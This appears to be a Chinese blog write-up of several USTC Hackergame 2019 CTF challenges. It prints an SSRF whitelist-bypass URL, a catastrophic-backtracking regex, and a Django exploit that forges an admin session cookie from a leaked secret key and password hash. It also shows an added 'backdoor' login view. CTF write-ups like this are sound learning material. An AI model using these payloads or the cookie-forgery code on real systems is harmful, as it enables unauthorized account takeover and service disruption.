前几天跟着几个大佬一起看了看中科大的Hackergame2019,这个比赛主要针对的是新手,激发新生对CTF比赛的兴趣,虽然我已经大三了,但实在是因为我过于five,也只能帮大佬打打杂,这里把自己做的题还是写一下wp,记录一下。
0x01 签到题 其实前面3个都是签到题,没意思,就不写了~~~
0x02 网页读取器
一个简单的SSRF
后台代码写了个白名单,可以绕过,下载下来的源代码如下,check_hostname为过滤函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from flask import Flask, render_template, request, send_from_directoryimport requests app = Flask(__name__) whitelist_hostname = ["example.com" , "www.example.com" ] whitelist_scheme = ["http://" ] def check_hostname (url ): for i in whitelist_scheme: if url.startswith(i): url = url[len (i):] url = url[url.find("@" ) + 1 :] if not url.find("/" ) == -1 : url = url[:url.find("/" )] if not url.find(":" ) == -1 : url = url[:url.find(":" )] if url not in whitelist_hostname: return (False , "hostname {} not in whitelist" .format (url)) return (True , "ok" ) return (False , "scheme not in whitelist, only {} allowed" .format (whitelist_scheme)) @app.route("/" ) def index (): return render_template("index.html" ) @app.route("/request" ) def req_route (): url = request.args.get('url' ) status, msg = check_hostname(url) if status is False : return msg try : r = requests.get(url, timeout=2 ) if not r.status_code == 200 : return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}." .format (r.status_code) return r.text except requests.Timeout: return "We tried our best, but it just timeout." except requests.RequestException: return "While accessing your url, an exception occurred. There may be a problem with your url." @app.route("/source" ) def get_source (): return send_from_directory("/static/" , "app.py" , as_attachment=True ) if __name__ == '__main__' : app.run("0.0.0.0" , 8000 , debug=False )
我构造的payload为 url=http://web1/[email protected] :80
0x03 达拉崩吧大冒险 这道题主要是在买鸡那里,存在整数溢出,我的做法是,F12修改一个value值,当值小于 等于-1900000000000000000 时,就会发生整数溢出,战斗力变成一个很大的值,就可以愉快的打龙,得到flag
0x04 正则验证器 这道题的要求是,在有限的长度(6)内构造一个正则表达式,要求匹配一个长度为24以内的字符串,十匹配的时间大于一秒,这里是考点主要是正则回溯
构造如下,就能得到flag
1 2 Regex: (a*)*S String: aaaaaaaaaaaaaaaaaaaaaaab
这是题目的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import signalimport redef flag (*args, **kwargs ): print (open ("flag" ).read()) exit() def main (): print ("Welcome to the free online Regular Expression Verifier" ) print ("Please enter your RegEx and string and I will match them for you\n" ) r = input ("RegEx: " ) if len (r) > 6 : print ("Sorry your regex is too long." ) exit() s = input ("String: " ) if len (s) > 24 : print ("Sorry your string is too long." ) exit() r = re.compile (r) signal.signal(signal.SIGALRM, flag) signal.alarm(1 ) m = r.search(s) signal.alarm(0 ) if m: print ("Your regex matches the string!" ) else : print ("Your regex doesn't match the string!" ) if __name__ == "__main__" : signal.alarm(30 ) main()
0x05 三教奇妙夜 下载下来的附件解压后是一个视频,时间长达11:58:24,提示也很明显的说了是插了帧在里面,用ffmepg每秒存了24张图,跑下来一共有107W多张,傻乎乎的写了图像识别的代码,然而我的代码太垃圾,效率还不如直接肉眼预览,于是就傻呼呼的看了快20W张,然后才发现其实直接把图片按大小排序,最小的几张就是,拼起来就是,后面又听见大佬们说,ffmepg可以直接分析不同的帧,卑微.jpg
直接识别的命令如下
ffmpeg -i input.mp4 -vf "select=gt(scene\,0.3), scale=320:240" -vsync vfr flag_frame%03d.png
0x06被泄露的姜戈
根据提示,在 https://github.com/openlug/django-common 或者 https://gitlab.com/openlug/django-common 找到源代码。用 openlug 和 Rabbit House 都是能搜到结果的。
简单的解法
需要简单学习 Django,并添加一个可以让你登录为 admin 的路由。
在 app/views.py
添加:
1 2 3 4 5 from django.contrib.auth.models import User def backdoor(request): user = User.objects.get(username="admin") # 使用 Django ORM 选择 admin 用户 login(request, user) # 以 admin 的身份登录 return redirect(reverse("profile")) # 跳转到 profile
然后在 app/urls.py 里的 urlpatterns 里面添加 URL:
path('backdoor', views.backdoor, name='backdoor')
然后开跑:python manage.py runserver
访问我们加入的 backdoor,就可以看到 admin 的 cookie 了。把这个 cookie 复制,在 Console 里面 document.cookie=… 给 cookie 赋值,进入 /profile 就行了。
复杂的解法
这是我最开始出完题之后使用的解法。这种解法需要去看 Django 的源代码,了解其是如何处理 session 的。
首先根据 https://docs.djangoproject.com/en/2.2/topics/http/sessions/#using-cookie-based-sessions ,加上 settings.py 里面的设置,可以看到 session 设置成了签名后存储在 cookie 中。文档同时也给了一个 RCE 警告,但是因为我们没有用 PickleSerializer,所以没有这个漏洞。
从签名还原 session
登录为 guest,可以看到 guest 的 cookie 为
sessionid=.eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iLiU1:d4koNGDuy18fbggeMbGhprUL_gs
然后呢?如果直接用 https://docs.djangoproject.com/en/2.2/topics/signing/ 里的方式,用 signing.loads(value) 的话,只能得到一条 Exception。我们要看django.contrib.sessions.backends.signed_cookies
的实现。在此类的 load 方法中,可以看到:
1 2 3 4 5 6 7 return signing.loads( self.session_key, serializer=self.serializer, \# This doesn't handle non-default expiry dates, see #19201 max_age=settings.SESSION_COOKIE_AGE, salt='django.contrib.sessions.backends.signed_cookies', )
它加盐了。我们用这个盐重新加载:
1 2 value = ".eJx(之后的内容省略)" signing.loads(value, salt='django.contrib.sessions.backends.signed_cookies')
可以看到 guest session 是:
{'_auth_user_id': '2', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': '0a884f8b987fca1a92c6f93d9042d83eea72d98d'}
修改 session
我们的目标是让 _auth_user_id 为 1,并且改变后面对应的 _auth_user_hash,使 Django 认为我们的 cookie 是正确的。但后面那个 _auth_user_hash 又是个什么东西?
搜索 _auth_user_hash,可以找到 https://docs.djangoproject.com/zh-hans/2.2/_modules/django/contrib/auth/ ,其中对应到了 HASH_SESSION_KEY 变量,最终可以找到user.get_session_auth_hash()
。
这个函数的实现在 django/contrib/auth/base_user.py。
1 2 3 4 5 6 def get_session_auth_hash(self): """ Return an HMAC of the password field. """ key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash" return salted_hmac(key_salt, self.password).hexdigest()
这里的 self.password 不是原始密码,而是数据库中存储的密码哈希。读一下附送的 SQLite 数据库的 auth_user 表就可以了。
最终 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from django.core import signing from django.utils.crypto import salted_hmac admin_hash = "pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=" _auth_user_hash = salted_hmac("django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash", admin_hash).hexdigest() payload = {'_auth_user_id': '1', '_auth_user_backend': 'django.contrib.auth.backends.ModelBackend', '_auth_user_hash': _auth_user_hash} cookie = signing.dumps(payload, salt='django.contrib.sessions.backends.signed_cookies', compress=True) print(cookie)
花了好几天,就只做了这几道题(最后一个被泄露的姜戈是赛后看wp复现的),我真的是太菜了,队友警察也做了几个逆向,wp就让他写吧,我就不写了,到时候贴上他的博客链接就好,官方wp的github地址也放在下面了
1 官方:https://github.com/ustclug/hackergame2019-writeups